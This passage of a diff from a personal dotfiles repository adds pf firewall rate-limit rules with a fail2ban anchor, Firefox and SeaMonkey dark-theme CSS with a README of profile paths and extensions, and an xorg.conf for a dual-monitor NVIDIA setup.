+pass in log on $ext_if proto icmp to ($ext_if) keep state (max-src-conn 80, max-src-conn-rate 200/5, overload <flood> flush)
+pass in log on $ext_if proto tcp to ($ext_if) port $tcp_pass flags S/SA keep state (max-src-conn 80, max-src-conn-rate 200/5, overload <flood> flush
+
+# Anchor for fail2ban
+anchor "f2b/*"
blob - /dev/null
blob + 8b1d6624f5ff3fa5f75167358b2ae3beda3f02c1 (mode 755)
--- /dev/null
+++ firefox/README.md
+# My firefox configs.
+
+## How to use.
+
+## Firefox.
+You must restart Firefox for the CSS to reload!
+
+### Linux.
+Place in: `~/.mozilla/firefox/<profilestring>.(dev-edition-)default/`
+
+#### For example:
+`~/.mozilla/firefox/12345678.dev-edition-default/chrome/userChrome.css`
+
+### Mac.
+Place in: `~/Library/Application Support/Firefox/Profiles/<profilestring>.(dev-edition-)default/`
+
+### Windows.
+Place in: `%appdata%\Mozilla\Firefox\Profiles\<profilestring>.(dev-edition-)default\`
+
+## SeaMonkey.
+You must restart SeaMonkey for the CSS to reload!
+
+### Mac.
+Place in: `~/Library/Application Support/SeaMonkey/Profiles/<profilestring>.default/`
+
+#### For example:
+`~/Library/Application Support/SeaMonkey/Profiles/12345678.default/chrome/userChrome.css`
+
+## Extention list.
+
+### Firefox.
+[Dark Mode.](https://addons.mozilla.org/en-US/firefox/addon/dark-mode-webextension/)
+
+[HTTPS Everywhere.](https://addons.mozilla.org/en-US/firefox/addon/https-everywhere/)
+
+[uBlock Origin.](https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/)
+
+### SeaMonkey.
+[Dark Background and Light Text.](https://addons.mozilla.org/en-US/seamonkey/addon/dark-bg-light-text-seamonkey/)
+
+[Firefox LEGACY - uBlock Origin.](https://github.com/gorhill/uBlock/releases)
blob - /dev/null
blob + 5b114fdfaef41fe6702a78c8d00c0b5ba0601526 (mode 755)
--- /dev/null
+++ firefox/chrome/userChrome.css
+.browserContainer {
+ background-color: #222 !important;
+}
+#sidebar {
+ background-color: #222 !important;
+}
+.sidebar-placesTree {
+ background-color: #222 !important;
+}
blob - /dev/null
blob + 1728391ea55f1046226e1245f1a39c3ca7cca072 (mode 755)
--- /dev/null
+++ firefox/chrome/userContent.css
+@-moz-document url("about:home"), url("about:newtab") {
+ body {background-color: #222 !important;}
+}
+@-moz-document url("about:blank") {
+ *:empty:not([id]):not([style]) {background-color: #222 !important;}
+}
blob - /dev/null
blob + 511e647a4af1a0aafac305cc5a58bbb54def1481 (mode 755)
--- /dev/null
+++ xorg.conf
+Section "ServerLayout"
+ Identifier "Layout0"
+ Screen 0 "Screen0" 0 0
+ InputDevice "Keyboard0" "CoreKeyboard"
+ InputDevice "Mouse0" "CorePointer"
+ Option "Xinerama" "0"
+EndSection
+
+Section "Files"
+EndSection
+
+Section "InputDevice"
+ # generated from data in "/etc/sysconfig/mouse"
+ Identifier "Mouse0"
+ Driver "mouse"
+ Option "Protocol" "IMPS/2"
+ Option "Device" "/dev/input/mice"
+ Option "Emulate3Buttons" "yes"
+ Option "ZAxisMapping" "4 5"
+EndSection
+
+Section "InputDevice"
+ # generated from default
+ Identifier "Keyboard0"
+ Driver "kbd"
+EndSection
+
+Section "Monitor"
+ # HorizSync source: builtin, VertRefresh source: builtin
+ Identifier "Monitor0"
+ VendorName "Unknown"
+ ModelName "CRT-0"
+ HorizSync 28.0 - 55.0
+ VertRefresh 43.0 - 72.0
+ Option "DPMS"
+EndSection
+
+Section "Device"
+ Identifier "Device0"
+ Driver "nvidia"
+ VendorName "NVIDIA Corporation"
+ BoardName "GeForce GTX 970"
+EndSection
+
+Section "Screen"
+ Identifier "Screen0"
+ Device "Device0"
+ Monitor "Monitor0"
+ DefaultDepth 24
+ Option "Stereo" "0"
+ Option "nvidiaXineramaInfoOrder" "DFP-4"
+ Option "metamodes" "DVI-I-0: 1368x768_60 +0+312 { ForceCompositionPipeline = On }, DVI-D-0: 1920x1080_60 +1368+0 { ForceCompositionPipeline = On }"
+ Option "SLI" "Off"
+ Option "MultiGPU" "Off"
+ Option "BaseMosaic" "off"
+ SubSection "Display"
+ Depth 24
+ EndSubSection
+EndSection